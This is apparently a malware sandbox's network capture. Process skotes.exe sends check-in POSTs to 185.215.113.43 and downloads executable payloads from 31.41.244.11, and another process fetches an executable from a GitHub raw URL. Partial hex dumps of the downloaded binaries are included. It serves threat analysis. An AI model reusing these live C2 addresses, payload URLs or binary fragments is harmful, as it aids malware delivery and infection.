Dec 19, 2024 06:09:49.770157099 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 19, 2024 06:09:49.770190954 CET	1236	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 19, 2024 06:09:49.770226955 CET	1236	IN	Data Raw: 83 25 84 e9 41 00 00 c3 83 25 84 e9 41 00 00 68 60 a6 41 00 68 c4 a5 41 00 ff 15 68 a1 41 00 50 ff 15 6c a1 41 00 85 c0 74 11 68 88 e9 41 00 ff d0 c7 05 84 e9 41 00 01 00 00 00 c3 56 8b 74 24 08 85 f6 75 05 33 c0 40 5e c3 e8 3f ff ff ff 83 f8 09 Data Ascii: %A%Ah`AhAhAPlAthAAVt$u3@^?uuu@;t3^US3EPSSSSSSh j jEP]]]]]]]EAtEPuSAuAE[UEVpEtKQ;SW}=3~'4<
Dec 19, 2024 06:09:49.770306110 CET	896	IN	Data Raw: 5e c2 04 00 53 56 8b f1 8b 06 33 db 57 8b 7c 24 10 89 5e 04 88 18 38 1f 74 07 43 80 3c 3b 00 75 f9 53 e8 33 fc ff ff 8b 06 8a 0f 88 08 40 47 84 c9 75 f6 5f 89 5e 04 8b c6 5e 5b c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 25 83 66 04 00 8b 06 c6 00 Data Ascii: ^SV3W\|$^8tC<;uS3@Gu_^^[VW\|$;t%fw@AuGF_^Vj&NT$FF^SVW\|$38tC<;uSF@Gu^_^[VW\|$wF@A
Dec 19, 2024 06:09:49.770343065 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 19, 2024 06:09:49.770415068 CET	224	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EP
Dec 19, 2024 06:09:49.890024900 CET	1236	IN	Data Raw: ff 75 d0 ff 75 cc 68 04 08 00 50 68 84 a5 41 00 68 94 a6 41 00 53 ff 15 a0 a2 41 00 8b f8 3b fb 0f 84 7b ff ff ff 56 ff 15 b4 a2 41 00 8b 35 b8 a2 41 00 53 6a 22 68 59 04 00 00 57 ff d6 6a 0f ff 15 cc a2 41 00 50 53 68 43 04 00 00 57 ff d6 b8 e9 Data Ascii: uuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49888	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:59.159229040 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017353001&unit=246122658369
Dec 19, 2024 06:10:00.503082037 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49892	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:10:00.628504038 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:10:01.955661058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:10:01 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 19, 2024 06:10:01.955812931 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 06:10:01.955828905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 06:10:01.955898046 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 19, 2024 06:10:01.955914021 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 19, 2024 06:10:01.955981016 CET	1236	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 19, 2024 06:10:01.955996990 CET	896	IN	Data Raw: 89 43 0c 89 7b 1c 8b 4d cc 89 4b 20 47 57 ff 75 c8 50 e8 30 57 00 00 83 c4 0c 8b 45 08 89 43 04 8b 45 0c 89 43 08 8d 7d d8 89 3b e8 9f 00 00 00 83 c4 24 8b 65 c4 83 7f 14 10 72 03 8b 7d d8 c7 06 28 c1 41 00 8d 46 04 31 c9 89 4e 08 89 4e 04 8d 4d Data Ascii: C{MK GWuP0WECEC};$er}(AF1NNM9APQ>@AEr,MxrQ) s>$WQAEFEFM1e^_[]USWV\|$0WB1D$t$<~t
Dec 19, 2024 06:10:01.956093073 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 19, 2024 06:10:01.956131935 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 19, 2024 06:10:01.956165075 CET	1236	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY
Dec 19, 2024 06:10:02.075294971 CET	1236	IN	Data Raw: 0c 8d 4d f4 ff 75 08 e8 91 00 00 00 68 04 43 42 00 8d 45 f4 50 e8 ab 28 00 00 cc 55 8b ec 56 ff 75 08 8b f1 e8 fa e6 ff ff c7 06 54 cb 41 00 8b c6 5e 5d c2 04 00 55 8b ec 56 8b f1 8d 46 04 c7 06 28 c1 41 00 50 e8 ba 2e 00 00 f6 45 08 01 59 74 0a Data Ascii: MuhCBEP(UVuTA^]UVF(AP.EYtjV8YY^]UQVuu`A^UVu`A^]UQVuuA^aaAB$AUEM#P+w]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49908	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:10:05.917889118 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017354001&unit=246122658369
Dec 19, 2024 06:10:07.266859055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49910	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:10:07.854460955 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:10:09.176038027 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:10:08 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 19, 2024 06:10:09.176081896 CET	1236	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00*0
Dec 19, 2024 06:10:09.176136017 CET	1236	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a Data Ascii: *******************************
Dec 19, 2024 06:10:09.176170111 CET	1236	IN	Data Raw: 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0**((*0**(*"r***(**0
Dec 19, 2024 06:10:09.176227093 CET	896	IN	Data Raw: 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: **********0e********"r***
Dec 19, 2024 06:10:09.176264048 CET	1236	IN	Data Raw: 2a 41 1c 00 00 02 00 00 00 34 00 00 00 83 01 00 00 b7 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 30 00 14 44 00 40 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: A400D@*""""r*"*""r
Dec 19, 2024 06:10:09.176316023 CET	1236	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0*(00*(00"-*0ALB*
Dec 19, 2024 06:10:09.176350117 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a Data Ascii: 0*(**"(*0004O70*^}
Dec 19, 2024 06:10:09.176387072 CET	1236	IN	Data Raw: 00 3b 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 77 01 00 00 b2 02 00 00 29 04 00 00 13 00 00 00 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 Data Ascii: ;0Aw)00*0X( 8Eq8 :&8*~: 9& 8~ 8
Dec 19, 2024 06:10:09.176424026 CET	1236	IN	Data Raw: 3a ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 7e f9 00 00 04 80 f6 00 00 04 20 01 00 00 00 17 3a 8b ff ff ff 26 38 81 ff ff ff 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a Data Ascii: :& 8~ :&80******00*******00*0
Dec 19, 2024 06:10:09.296117067 CET	1236	IN	Data Raw: 00 00 00 fe 0c 00 00 45 02 00 00 00 37 00 00 00 36 00 00 00 38 32 00 00 00 7e 40 01 00 04 3a 28 00 00 00 38 00 00 00 00 14 fe 06 2c 04 00 06 73 56 04 00 06 80 40 01 00 04 20 00 00 00 00 16 39 c3 ff ff ff 26 38 b9 ff ff ff 2a 7e 40 01 00 04 80 3d Data Ascii: E7682~@:(8,sV@ 9&8~@= 9&8*******0( 8E@A%8;~EB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49867	20.233.83.145	443	7320	C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:09:53 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 05:09:54 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 05:09:53 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 05:09:54 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49875	185.199.111.133	443	7320	C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:09:55 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 05:09:56 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 5AB8:37C109:25CDF3:2B35F0:6763AAA2 Accept-Ranges: bytes Date: Thu, 19 Dec 2024 05:09:55 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740076-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734584996.877572,VS0,VE96 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8584c5dcd5bede92958032c8a464da1d6b124f74 Expires: Thu, 19 Dec 2024 05:14:55 GMT Source-Age: 0
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
